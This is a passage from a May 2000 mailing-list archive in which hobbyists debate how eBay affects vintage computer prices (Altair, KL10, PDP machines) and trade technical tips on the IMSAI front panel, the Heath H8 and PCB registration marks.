in that case. John Wilson D Bit From dylanb at sympatico.ca Wed May 10 08:45:41 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair References: Message-ID: <001301bfba86$08209400$fd83fea9@office> ----- Original Message ----- From: William Donzelli To: Sent: Wednesday, May 10, 2000 1:46 AM Subject: Re: Ebay Altair > > I generally find eBay sells items for *less* money than the real world when > > it comes to classic computers. A *lot* of deep pocket collectors won't use > > the service to purchase old computers from. I have been told by many that > > they would rather do private offers or sales as eBay would *really* blow the > > prices out of perspective [take Nathan Myhrvold bids for example] . I > > personally will have a running KL10 available for offers but would not want > > to sell such a mini as a "featured catagory item" on eBay - some items just > > don't sit well on eBay. > > When you go to sell the KL10 and set it as the benchmark value, please > divide your value in two, as RCS/RI received a KL10 for free. > I am surprised at your logic William - *Most* Museums aquire *very* expensive items for free... and the value of those items don't drop in half because of it. I know someone who bought a Group of 7 painting last month for 50 cents. Should they divide the $35,000US value of the painting in half now? BTW: The KL10 sent to RCS was not running was it?, and a year later now (or more), is *still* not running. > Additionally, if you set a benchmark value for KS10s, please divide your > value by six or so, as a number of us (RCS/RI, RICM, Carl, > myself and others) have received machines for free. Street price kind of > blows the mean, doesn't it? > KS10s are &^& (can't use that word here). I don't have a *single* order for one - and never will. > Another thing, stop advertising vaporware. I do not think you know what > you are in for in a KL10. I know of that specific machine, but I doubt you > will be able to boot it. Some of use are still waiting for that IBM S/360, > anyway. And the PDP-1. And the KA10. Vaporware? Think I've done pretty good. The IBM/360 was crushed as my offer was not high enough - Union Carbide, Welland, Ontario. Kevin Stumpf was going partners on it. Which KL-10 do you think I am getting? It *is* running software now! Will be emulated through June. PDP-1 very high possibility. KA-10 - I have already had one, passed on another for $300 from Beverly Surplus *before* they were worth anything. I am finding most of these old kinds of computers (like the original PDP-11s) through leads and engineers. I am told where they are - it's all a matter of beating them to the crusher. > > Finally, it is very bad form to comment about a bidder's habits with a > real name in a public forum. The whole idea behind eBay names is to shield > the bidders. This idea applies to most non-government auctions in general. > > John B, you may be OK to talk to and certainly you know your way around a > machine, but you need to take some night courses in ethics, economics, > and statistics. > Funny William, I won't waste my time responding to your last comments but.... I am finding most of these minicomputers in the United States, *not* Canada. Regards, http://www.pdp8.com/ john > William Donzelli > aw288@osfn.org > From allisonp at world.std.com Wed May 10 07:21:33 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:38 2005 Subject: s100 busses! In-Reply-To: <3918D762.18B15E2E@ix.netcom.com> Message-ID: On Tue, 9 May 2000, Ron Hudson wrote: > Does anyone still sell s100 based computers? > Aren't they used still for process controll and automation? Effectively not for many years. > 2nd question > How did the control panel of the IMSAI work, was it controlled by a rom program > that lit the leds and read the switches? There was no rom in the base imsai. The frontpannel was all hardware and worked by inserting wait states in the instruction flow effectively stopping the micoprocessor at every cycle. Allison From dylanb at sympatico.ca Wed May 10 09:28:25 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com> Message-ID: <002301bfba8c$00de0000$fd83fea9@office> > On Wed, May 10, 2000 at 01:46:43AM -0400, William Donzelli wrote: > > When you go to sell the KL10 and set it as the benchmark value, please > > divide your value in two, as RCS/RI received a KL10 for free. > > And there were originally plenty more where that one came from, but the > guy who owned them at the time (he had at least a dozen, plus piles of tape > drives and over thirty RP06es) was unable to find takers for his machines, > even for free. Not even the low-serial-number model A that he had (I wish > I'd had space for it, as it was I just got the TC11/TU56 off the FE). So he > ended up driving a liftgate truck slowly across a scrap yard, pushing KL10 > racks out the back every few feet, it was heartbreaking. > > I'm sure John B will be quick to differentiate between a 100% restored KL10, No, we have already discussed the value of minicomputers from both perspectives. I guess it depends on where you come from and how you collect. I can understand the resistance in this group as higher costs *do* make computers much more difficult to collect. I am far more interested in a KA10 or KI10 (where I have a bid currently). The KA10 is really nice as it runs off 220V. I believe this question has been answered here before but - does anyone here actually have a Real KA,KI, or KL running and booting? > > Anyway I think it's funny how opposite the viewpoints are here. On the > one hand there are people who appear to believe that the value of a machine > is approximately equal to the maximum that any sucker has *ever* paid for a > similar machine. Meanwhile, the rest of us say "hey I got five of those > for free, working and with docs/software, therefore yours is worthless too". > Neither one is quite accurate... > The buyers ("demand") will always dictate value. If no one wanted old computers they would be worthless (in a $$$ sense). Regards, John. P.S. I am moving today so if anyone needs to get a hold of me please wait until Monday - my DSL will be down. From jfoust at threedee.com Wed May 10 07:49:49 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair In-Reply-To: References: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: <4.3.0.20000510074434.022c3410@pc> At 06:04 PM 5/9/00 -0700, you wrote: >This makes no sense. eBay prices as a rule are always much more than once >can expect to find in the "real world". On one hand people think the Net is everything, on the other some people want to declare sections of it to be out of this world. >As I have always maintained in the past, eBay has done nothing but >artifically inflate the prices for old computers to the detriment of this >hobby (and others as well). It makes just as much sense to claim that classic computer prices were artificially low. Price is set between buyer and seller. It will swing with the wind - as well as with the flow of information and an increase in perceived value or other forms of desirability. Prices would double again if Bill Gates announced he was snatching up classic computers to create a dozen museums of computing history around the country. I was reading an article the other day that talked about the author's son selling a rare Beanie Baby on eBay. Did you know that high-ticket Beanie sales are often arbitrated by a third-party expert who serves as an authenticator? They receive $30 for their service. This was for a $250 Beanie. - John From CLASSICCMP at trailing-edge.com Wed May 10 08:04:28 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay strategies (was Re: Ebay Altair) Message-ID: <000510090428.2020c13a@trailing-edge.com> John Wilson wrote: >I seriously think eBay is likely to trigger some kind of 12-step program >for auction junkies. Really, it's a bit like gambling, people get really >competitive sometimes and end up paying prices that have nothing to do with >anyone's concept of what the item is worth, just because they feel that they >need to win at any cost. Sure, that's the "auction fever" that E-bay has been so good at tapping into. There is one very simple rule to follow at any auction: know what you're willing to pay at the start, and never go over it. And it's actually easy, with E-bay's Proxy Bidding, to do this on E-bay by simply bidding your highest amount early on. No more worry about someone outbidding you by 'sniping' at the end! Of course, whenever I mention this strategy I get flamed horribly by "E-bay experts" at how awful it is. How they tried it once and got outbid by $1 and lost. Or how it drives up prices for all buyers. I don't agree, E-bay provides you with a powerful tool - proxy bidding - and you should use it to its full advantage. Getting caught up in the frenzy is the sure way to lose in the big picture (though you may "win" the auction), because you end up paying more than you wanted to. Tim. From bbrown at harper.cc.il.us Wed May 10 08:04:13 2000 From: bbrown at harper.cc.il.us (Bob Brown) Date: Sun Feb 27 18:51:38 2005 Subject: s100 busses! / H8 In-Reply-To: <200005100431.VAA28632@eskimo.com> References: <200005100431.VAA28632@eskimo.com> Message-ID: > >Heath made a computer (the H-8) which is similar to the IMSAI but actually >does use a program to control the computer along with the usual hardware. >The H-8 is a lot newer than the IMSAI, however. > >-- Derek Any idea where I can get info on how to run an h8? I saved one from the garbage a while back, and it seems to function..at least it reacts to it's front panel, but I have no doc for it whatsoever. thanks. -Bob Bob Brown Saved by grace Intranet Sysadmin Page: http://info1.harper.cc.il.us/~bbrown From allisonp at world.std.com Wed May 10 09:01:05 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:38 2005 Subject: s100 busses! / H8 In-Reply-To: Message-ID: On Wed, 10 May 2000, Bob Brown wrote: > > > >Heath made a computer (the H-8) which is similar to the IMSAI but actually > >does use a program to control the computer along with the usual hardware. > >The H-8 is a lot newer than the IMSAI, however. > > > >-- Derek > > Any idea where I can get info on how to run an h8? I saved one from the > garbage a while back, and it seems to function..at least it reacts to > it's front panel, but I have no doc for it whatsoever. The H8 is nothing like the IMSAI. The H8 runs a rom program to give teh disply/keypad some intelligence (not much). HAve you checked with HEATH (or whatever their name is this year)? If not check around as they were common enough and someone can copy the docs. Allison From richard at idcomm.com Wed May 10 09:21:23 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <4.3.0.20000509210045.00b03570@pacbell.net> Message-ID: <000d01bfba8b$05e9eba0$0400c0a8@winbook> This whole issue is subject to the old military saying, "Where you sit determines what you see." You see, eBay doesn't do anything at all to the prices. They don't care what the buy and sell prices are, except to the extent that it impacts their "cut" and that's quite small. If you want to sell your old micro/mini computer, eBay's a boon, because it puts your hardware in front of lots of people who actually want it, i.e. you don't have to beg, "Gee, can't you take this off my hands? I hate to toss it out." What's more, it benefits the hobby because the people who pay those higher prices are likely to keep them "alive" rather than tossing them. Additonally, the increased interest/activity promotes interest/activity in the classic computer arena. The higher prices motivate people to clean up and check out their antique computers from that dank corner in the basement and make them available to those who actually want them. I don't see where this activity hurts anyone except the cheapo who wants everything for free. Now, I'll admit that I'm inclined to be one of those guys who want things for free, but I realize that can't be the case all the time, simply based on how large the effort to rescue my own antique hardware, etc, from oblivion in the "pit" in the basement. The eBay phenomenon is not just a testament to the inane and impulsive nature of humankind, but also a testament to the benefit of greater communication as brought about by the exploitation of the technology that certainly is an outgrowth of the very computers we're trying to buy or sell. Dick ----- Original Message ----- From: Jim Battle To: Sent: Tuesday, May 09, 2000 10:12 PM Subject: Re: Ebay Altair > At 06:04 PM 5/9/00 -0700, Sellam wrote: > >... > >As I have always maintained in the past, eBay has done nothing but > >artifically inflate the prices for old computers to the detriment of this > >hobby (and others as well). > > > >Sellam > > I think it can be argued differently, especially the "nothing but" part. > > Think of how many people are now digging out old computers, or > getting them back into circulation instead of just scrapping them. The > prices might be up, but so is the supply. And, in time, some of the > people who bought some computer in a fit of nostalgia for too much > on ebay will get tired of their machine and probably put it back into > the market, especially if the paid real $$ for it. > > It is somewhat contradictory to have the position of wanting to preserve > old computers but at the same time wanting to return to the old days, > days when old machines were cheap but where most were trashed. > What better way to guarantee something will be preserved than to put > a value on it? > > So, what do you want? To preserve these wonder old machines, > or just have a lot of free/cheap playthings? > > And sorry, not just to pick on you Sellam, it is a question I have > thought about a lot myself. Whenever I get the itch to pick up > something on ebay or a swap meet, I try to really think if it is > something I can actually spend time with, or is it just another > butterfly in the butterfly collection. > > I like ebay. > > ----- > Jim Battle == frustum@pacbell.net > From bobstek at ix.netcom.com Wed May 10 09:48:28 2000 From: bobstek at ix.netcom.com (Bob Stek) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair In-Reply-To: <000d01bfba8b$05e9eba0$0400c0a8@winbook> Message-ID: Though I don't usually join in discussions of eBay, I must say that Dick and Jim have summarized my thoughts as well. I, too, delight at finding some "treasure" for next-to-nothing, but as with life, that which we value (and consequently, price) ebbs and flows over time. eBay is a facilitator (and one which I wish I had thought of first!). Bob Stek Saver of Lost SOLs > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Richard Erlacher > Sent: Wednesday, May 10, 2000 10:21 AM > To: classiccmp@classiccmp.org > Subject: Re: Ebay Altair > > > This whole issue is subject to the old military saying, "Where you sit > determines what you see." You see, eBay doesn't do anything at all to the > prices. They don't care what the buy and sell prices are, except to the > extent that it impacts their "cut" and that's quite small. > > If you want to sell your old micro/mini computer, eBay's a boon, > because it > puts your hardware in front of lots of people who actually want > it, i.e. you > don't have to beg, "Gee, can't you take this off my hands? I hate to toss > it out." What's more, it benefits the hobby because the people who pay > those higher prices are likely to keep them "alive" rather than tossing > them. Additonally, the increased interest/activity promotes > interest/activity in the classic computer arena. The higher > prices motivate > people to clean up and check out their antique computers from that dank > corner in the basement and make them available to those who actually want > them. > > I don't see where this activity hurts anyone except the cheapo who wants > everything for free. Now, I'll admit that I'm inclined to be one of those > guys who want things for free, but I realize that can't be the > case all the > time, simply based on how large the effort to rescue my own antique > hardware, etc, from oblivion in the "pit" in the basement. > > The eBay phenomenon is not just a testament to the inane and impulsive > nature of humankind, but also a testament to the benefit of greater > communication as brought about by the exploitation of the technology that > certainly is an outgrowth of the very computers we're trying to > buy or sell. > > Dick > > ----- Original Message ----- > From: Jim Battle > To: > Sent: Tuesday, May 09, 2000 10:12 PM > Subject: Re: Ebay Altair > > > > At 06:04 PM 5/9/00 -0700, Sellam wrote: > > >... > > >As I have always maintained in the past, eBay has done nothing but > > >artifically inflate the prices for old computers to the > detriment of this > > >hobby (and others as well). > > > > > >Sellam > > > > I think it can be argued differently, especially the "nothing but" part. > > > > Think of how many people are now digging out old computers, or > > getting them back into circulation instead of just scrapping them. The > > prices might be up, but so is the supply. And, in time, some of the > > people who bought some computer in a fit of nostalgia for too much > > on ebay will get tired of their machine and probably put it back into > > the market, especially if the paid real $$ for it. > > > > It is somewhat contradictory to have the position of wanting to preserve > > old computers but at the same time wanting to return to the old days, > > days when old machines were cheap but where most were trashed. > > What better way to guarantee something will be preserved than to put > > a value on it? > > > > So, what do you want? To preserve these wonder old machines, > > or just have a lot of free/cheap playthings? > > > > And sorry, not just to pick on you Sellam, it is a question I have > > thought about a lot myself. Whenever I get the itch to pick up > > something on ebay or a swap meet, I try to really think if it is > > something I can actually spend time with, or is it just another > > butterfly in the butterfly collection. > > > > I like ebay. > > > > ----- > > Jim Battle == frustum@pacbell.net > > > From marvin at rain.org Wed May 10 10:15:10 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <4.3.0.20000509210045.00b03570@pacbell.net> <000d01bfba8b$05e9eba0$0400c0a8@winbook> Message-ID: <39197CFE.DC02C4CC@rain.org> Richard Erlacher wrote: > > I don't see where this activity hurts anyone except the cheapo who wants > everything for free. Now, I'll admit that I'm inclined to be one of those > guys who want things for free, but I realize that can't be the case all the > time, simply based on how large the effort to rescue my own antique > hardware, etc, from oblivion in the "pit" in the basement. > > The eBay phenomenon is not just a testament to the inane and impulsive > nature of humankind, but also a testament to the benefit of greater > communication as brought about by the exploitation of the technology that > certainly is an outgrowth of the very computers we're trying to buy or sell. Absolutely! I am one of those Cheapos who want everything for free (or very close.) But different strokes for different folks; some people would rather pay others to find/display/offer/auction items they are interested in. Myself, I would much rather search through a swap meet/flea market/garage sale/etc. near the end and find something everyone else didn't know about. Kind of like the Walkirt Binary Counter; picked it up out of the trash after everyone else had gone through the stuff. Yea!!! From dogas at leading.net Wed May 10 09:49:28 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:51:38 2005 Subject: Arem't all old computers now 'free' ? Message-ID: <000d01bfba8e$f3f05700$ca646464@dogclient01> It seems to me that now that there are eager 'markets' for old systems, any (most) purshases made are value protected by the fact that *someone* would probably buy 'it' off you for whatever you paid, if not more, whether the currency is soft or hard. I for one have felt alot more at ease buying, with limited resources, an old system that I wanted to play with, knowing that I can 'pass it on' after grokking it, and recoup any (sometimes lots of) money and effort sunk into a machine. That equates to most machines being 'free' (ok, or investments too) while you play with them. The kink here is the cost of my 'permanent' possessions.' Personally, I [too] wish there was a trading network strategy for this lists members (I have tonnes of stuff for trade.) But that seems to work only in the 'real world.' Joe in Orelando and I activelly 'swap' alot of gear.... Anyway, cheers... - Mike: dogas@leading.net -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000510/edd4b53d/attachment.html From RCini at congressfinancial.com Wed May 10 10:16:13 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:38 2005 Subject: Bitmaps - PCB registration Message-ID: <497A9E0467D2D2119B760090271EB8E50E90E8@MAIL10> Hello, all: I'm continuing work on My6502 SBC, working towards producing a working PCB. I wanted to put registration marks on the artwork, but EDWin CAD does not appear to have built-in registration mark graphics. I did a search for electronics clipart, but the 11 sites had nothing useful. Does anyone have any useful registration bitmaps they can send me? Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From dogas at leading.net Wed May 10 09:55:29 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:51:38 2005 Subject: COSMAC 1802 Simulator Message-ID: <002401bfba8f$cadc7b40$ca646464@dogclient01> >OK - I finally got my simulator going with Tiny >Basic (what a nightmare). If put together a package >with the source, sample programs, and docs: > >www.ndx.net/cosmac > Good job Kirk! I've been a little busy these last few days, but I've started playing around it and will feedback shortly. ;) - Mike: dogas@leading.net From foo at siconic.com Wed May 10 09:38:41 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:38 2005 Subject: s100 busses! In-Reply-To: Message-ID: On Tue, 9 May 2000, Mike Ford wrote: > >On Wed, 10 May 2000, John Wilson wrote: > > > >> I *love* the idea of someone selling new S100 machines in this day and age! > > > >Actually it's unprecedented. As far as I know this is the first example > >of a company coming out of hibernation (according to Todd IMSAI never > >really ceased to exist) and offering a new model of an obsoleted > >computer product line. > > > >If there are any other examples of this I'd like to hear about them. > > MacIntosh MC275 tube amplifier rereleased a few years ago in a limited run > of about 5000. > > Western Electric going back into production of the 300B tube. > > Neumann I think also did a U67 again. Hmmm, perhaps I should've said "COMPUTER company". Radios don't count in a classic computer discussion ;) Sellam From foo at siconic.com Wed May 10 09:48:07 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair In-Reply-To: <20000510043148.A11225@dbit.dbit.com> Message-ID: On Wed, 10 May 2000, John Wilson wrote: > I seriously think eBay is likely to trigger some kind of 12-step program > for auction junkies. Really, it's a bit like gambling, people get really > competitive sometimes and end up paying prices that have nothing to do with > anyone's concept of what the item is worth, just because they feel that they > need to win at any cost. So I think these ridiculous prices for old computer > junk are more of an indicator of the buyers' compulsions, than anything to > do with the real value of the merchandise. A point well worth quoting. This is exactly what I have said in the past and it is correct. eBay is a sickness. Those who continue to defend the prices paid for items bought from eBay are only trying to justify in their own minds the fact that they are spending way too much money on things they really should not be. Of course I will be attacked for saying all this, but then addicts do get bolshie when confronted with the reality of the situation. :) Sellam From jpl15 at netcom.com Wed May 10 10:53:08 2000 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:51:38 2005 Subject: OT: Paging Phillip Belben Message-ID: Phillip please drop me a line off-list, thanks. Cheers John From richard at idcomm.com Wed May 10 10:41:07 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:38 2005 Subject: Bitmaps - PCB registration References: <497A9E0467D2D2119B760090271EB8E50E90E8@MAIL10> Message-ID: <006701bfba96$7134a700$0400c0a8@winbook> The packages I've used (2 versons of OrCAD and EAGLE) seem not only to provide registration targets, but certainly provide sufficient utility to build such a symbol if it didn't already exist. Have you considered making your own registration target? If you do build it, be certain it's different from one side of each layer to the other. If you include a bit of text, i.e. a layer identifier in your registration target, that will help quite a bit. You may also want such an identifier separate from the target, so you can be certain all the layers are present when you look at a registered set of layer overlays. It must be obvious which is which, however, as it's easy to reverse a layer if you have both reversed text and "right-way-around" text in the copper. Dick ----- Original Message ----- From: Cini, Richard To: 'ClassCompList' Sent: Wednesday, May 10, 2000 9:16 AM Subject: Bitmaps - PCB registration > Hello, all: > > I'm continuing work on My6502 SBC, working towards producing a > working PCB. I wanted to put registration marks on the artwork, but EDWin > CAD does not appear to have built-in registration mark graphics. > > I did a search for electronics clipart, but the 11 sites had nothing > useful. > > Does anyone have any useful registration bitmaps they can send me? > > Rich > > ========================== > Richard A. Cini, Jr. > Congress Financial Corporation > 1133 Avenue of the Americas > 30th Floor > New York, NY 10036 > (212) 545-4402 > (212) 840-6259 (facsimile) > From aw288 at osfn.org Wed May 10 11:02:11 2000 From: aw288 at osfn.org (William Donzelli) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair In-Reply-To: <001301bfba86$08209400$fd83fea9@office> Message-ID: > I am surprised at your logic William - > *Most* Museums aquire *very* expensive items for free... and the value of > those items don't drop in half because of it. I know someone who bought a > Group of 7 painting last month for 50 cents. Should they divide the > $35,000US value of the painting in half now? Most meseums (except a few types, like art museums) will not buy anything unless really pressured to. It is in the standard museum Code of Ethics, and is designed to cut down on individuals trying to get rich off selling rare pieces at the expense of the museums (and ultimately the public). > BTW: The KL10 sent to RCS was > not running was it?, and a year later now (or more), is *still* not running. Gee, I hope you try and start a real public museum. Maybe you will see just how much work there is even before the artifacts can be touched. At the open houses and work sessions, maybe we can squeeze some time to work on a machine between a serious electrical upgrade, bookkeeping, getting bylaws sorted out, incorporation, dealing with donors, dealing with the IRS, talking to the public, accessioning, deaccessioning, inventorying the collection, buying shelving and pallet racking, dealing with the landlord, and about a hundred other tasks. Maybe you ought to lean on the Computer History Center for not getting lots of machines running, as well. I am sure they would appreciate it as well. Bother the Smithsonian Institution, too. > KS10s are &^& (can't use that word here). I don't have a *single* order for > one - and never will. Hmmm...why do so many people want them or have them then? > Vaporware? Think I've done pretty good. The IBM/360 was crushed as my offer > was not high enough - Union Carbide, Welland, Ontario. Kevin Stumpf was > going partners on it. > > Which KL-10 do you think I am getting? It *is* running software now! Will be > emulated through June. I figured it was the one Kevin Stumpf has. If it is not, and it is indeed running, then I stand corrected. Your still in for a "treat", however. > PDP-1 very high possibility. KA-10 - I have already had one, passed on > another for $300 from Beverly Surplus *before* they were worth anything. When you have secured any of these treasures, then you can make all the noise you want. For example, well done on getting that huge pile of DEC gear a little bit ago. If you have not secured the machines, don't talk. Simple as that. If I boasted about themachines I had serious leads on at once, I could say I was getting a PDP-5, Bendix G-15, CDC 8900, Cyber 1000, Cray-1, ETA Piper, TMC CM-2, PDP-11/70, IBM S/360, Interdata 7/32, and a number IBM tube machines*. It is just the same for the radio and radar stuff I search for. I could even "take orders". > I am finding most of these old kinds of computers (like the original > PDP-11s) through leads and engineers. I am told where they are - it's all a > matter of beating them to the crusher. Of course. In a matter of hours I am off to Buffalo to beat things to the crusher. > Funny William, I won't waste my time responding to your last comments > but.... I am finding most of these minicomputers in the United States, *not* > Canada. ???? [*] A recent lead - the funny thing is that the pile of old IBM tube mainframes were actually 2 inch Quad Ampex video machines (which are actually quite rare as well). William Donzelli aw288@osfn.org From wilson at dbit.dbit.com Wed May 10 11:10:39 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair In-Reply-To: <002301bfba8c$00de0000$fd83fea9@office>; from dylanb@sympatico.ca on Wed, May 10, 2000 at 10:28:25AM -0400 References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com> <002301bfba8c$00de0000$fd83fea9@office> Message-ID: <20000510121039.A12407@dbit.dbit.com> On Wed, May 10, 2000 at 10:28:25AM -0400, johnb wrote: > The buyers ("demand") will always dictate value. If no one wanted old > computers they would be worthless (in a $$$ sense). That was exactly my point. RCS/RI's KL10 was one that was rescued from a whole warehouse full of 36-bit stuff that got scrapped because the owner was unable to find anyone, anywhere, who would take the stuff, even for free. And most of it had been deinstalled 100% working (unfortunately it turned out that the FE on the one I got had been raided for parts, but on the plus side I got a complete set of spare KL10 CPU boards, and it's not like 11/40 parts are particularly rare). No one wanted the machines then, and generally speaking no one wants them now. If you've managed to separate a few rich kids from the herd, great, but the fact remains that among people who are well-informed about 36-bit machines, there has been much more supply than demand, for the last decade at least. Anyone who pays significantly more than the scrap value, is not looking hard enough. John Wilson D Bit From aw288 at osfn.org Wed May 10 11:15:11 2000 From: aw288 at osfn.org (William Donzelli) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair In-Reply-To: <20000510121039.A12407@dbit.dbit.com> Message-ID: > Anyone who pays significantly more than the scrap value, is not looking > hard enough. Bingo! William Donzelli aw288@osfn.org From elvey at hal.com Wed May 10 11:18:07 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:38 2005 Subject: s100 busses! In-Reply-To: Message-ID: <200005101618.JAA26403@civic.hal.com> allisonp@world.std.com wrote: > On Tue, 9 May 2000, Ron Hudson wrote: > > > Does anyone still sell s100 based computers? > > Aren't they used still for process controll and automation? > > Effectively not for many years. > > > 2nd question > > How did the control panel of the IMSAI work, was it controlled by a rom > program > > that lit the leds and read the switches? > > There was no rom in the base imsai. The frontpannel was all hardware and > worked by inserting wait states in the instruction flow effectively > stopping the micoprocessor at every cycle. Hi This wasn't the only clever part. They also jammed instructions into the 8080 to do fetches and stores. All they used were a number of one shots, some glue logic and 3state buffers. The first time I looked at how they did it, I was impressed. I don't know if it was an original idea but it was clever. Dwight From pat at transarc.ibm.com Wed May 10 11:18:42 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:51:38 2005 Subject: s100 busses! / H8 In-Reply-To: Message-ID: On Wed, 10 May 2000, Bob Brown wrote: > > > >Heath made a computer (the H-8) which is similar to the IMSAI but actually > >does use a program to control the computer along with the usual hardware. > >The H-8 is a lot newer than the IMSAI, however. > > > >-- Derek > > Any idea where I can get info on how to run an h8? I saved one from the > garbage a while back, and it seems to function..at least it reacts to > it's front panel, but I have no doc for it whatsoever. At the very least, I believe that you can boot from disk by starting at location 040000. I used to wander up to the local Heathkit store every weekend to play with the H8, H11a (LSI-11 based machine running a variant of RT-11), and the H89 - essentially a Z80 processor board and a 5.25" disk drive built into an H19 terminal - I'd actually really love to have one of those, if anyone has one they don't want ... :-) Anyway, I was such a frequent visitor to that store that the manager gave me a couple of advertising posters for the machines - one was a poster that said "H8 POWER", above an illustration of the bootstrap address, as it would appear on the H8 display in red 7-segment LEDs; I'm almost positive that the display read "040000 Pc" .... The poster is still hanging on my old bedroom wall at my mother's house, unfortunately I can't get to it to look just at the moment .... --Pat. From marvin at rain.org Wed May 10 11:18:18 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair References: Message-ID: <39198BCA.3C40A46E@rain.org> foo wrote: > > eBay is a sickness. Those who continue to defend the prices paid for > items bought from eBay are only trying to justify in their own minds the > fact that they are spending way too much money on things they really > should not be. > > Of course I will be attacked for saying all this, but then addicts do get > bolshie when confronted with the reality of the situation. :) Anything ANYONE does can be called sick to others who have no interest nor understanding. Look at that group of crazy people who collect old computers ... must be a bunch of sickos :). From wilson at dbit.dbit.com Wed May 10 11:26:16 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay strategies (was Re: Ebay Altair) In-Reply-To: <000510090428.2020c13a@trailing-edge.com>; from CLASSICCMP@trailing-edge.com on Wed, May 10, 2000 at 09:04:28AM -0400 References: <000510090428.2020c13a@trailing-edge.com> Message-ID: <20000510122616.B12407@dbit.dbit.com> On Wed, May 10, 2000 at 09:04:28AM -0400, CLASSICCMP@trailing-edge.com wrote: > Of course, whenever I mention this strategy I get flamed horribly by > "E-bay experts" at how awful it is. How they tried it once and got outbid > by $1 and lost. Or how it drives up prices for all buyers. I know that logically it makes sense that the proxy bidding should totally avoid the ugly live auction stuff, but it does seem like all the action always seems to happen in the last 1/2 hour of the auction anyway. Which is exactly what proxy bidding is supposed to avoid... So I really get better results by waiting until the last second and jumping in then. I don't want to give other people time to talk themselves into raising their max. I really hate it when I make my max bid early, and it turns out that the existing high bidder's bid already covers it. So all I did was cost this poor guy money. And of course, bidding against someone who's familiar from the mailing lists is bad mojo!!! John Wilson D Bit From marvin at rain.org Wed May 10 11:22:07 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com> <002301bfba8c$00de0000$fd83fea9@office> <20000510121039.A12407@dbit.dbit.com> Message-ID: <39198CAF.E7B46013@rain.org> John Wilson wrote: > > Anyone who pays significantly more than the scrap value, is not looking > hard enough. Absolutely! The other side of that coin though is some people are not interested in looking, and are therefore willing to pay someone else to do that. Why else would something like ebay be such a success? From dogas at leading.net Wed May 10 11:14:49 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair Message-ID: <007101bfba9a$dfb0d060$ca646464@dogclient01> From: Marvin >John Wilson wrote: >> >> Anyone who pays significantly more than the scrap value, is not looking >> hard enough. > >Absolutely! The other side of that coin though is some people are not >interested in looking, and are therefore willing to pay someone else to do >that. Why else would something like ebay be such a success? Because you'll find items there that you won't find no matter how much looking you do in your piss poor geographical vicinity. ;) - Mike: dogas@leading.net From elvey at hal.com Wed May 10 11:56:22 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair In-Reply-To: <3918C534.9E0F50E5@roanoke.infi.net> Message-ID: <200005101656.JAA26901@civic.hal.com> Craig Smith wrote: > That was the first thing I looked for. The seller did in fact add to > the buyers feedback profile [with a "glowing" comment], which would seem > to indicate that the sale was indeed consummated. > And I thought 3-4K was a bit pricey! > Craig Hi I think everyone is avoiding the word "shill". On an item like this, it might pay to way over bid the item and buy it back. This sets a price in peoples minds as to how much they should pay for an item. Two months later, you put the same item up for bid with a different seller name. No one knows any different. If someone actually over bids your high price, let him have it. I do think that as Sellam has said, it makes it hard to find good deals on old machines. Still, I've bought a number of items at what I consider a fair price. I don't think I've under payed for anything and in a few cases, I have over payed. There have been items that may have been scrapped, if it were not for eBay. I think it is doing more to save old machines than those that are wherehousing them. Not that I have anything against that type of collection either. It is just that so much was ending up at the dump. The only thing I find disturbing about eBay is that 75% of the items are missing the documentation that they originally had. It is not just the machine that has value. The original manuals and schematics are part of the history. Much of the old software is being lost as well. Any thing that helps to keep these things alive is OK with me. I'd rather over pay a little than find the last 'what ever' at the dump after the crawler has run over it. At least if it is bought by someone on eBay, it has a chance of not being trashed. It has value to someone because it is obsolete. It won't get any less obsolete so it will continue to have value and be saved. IMHO 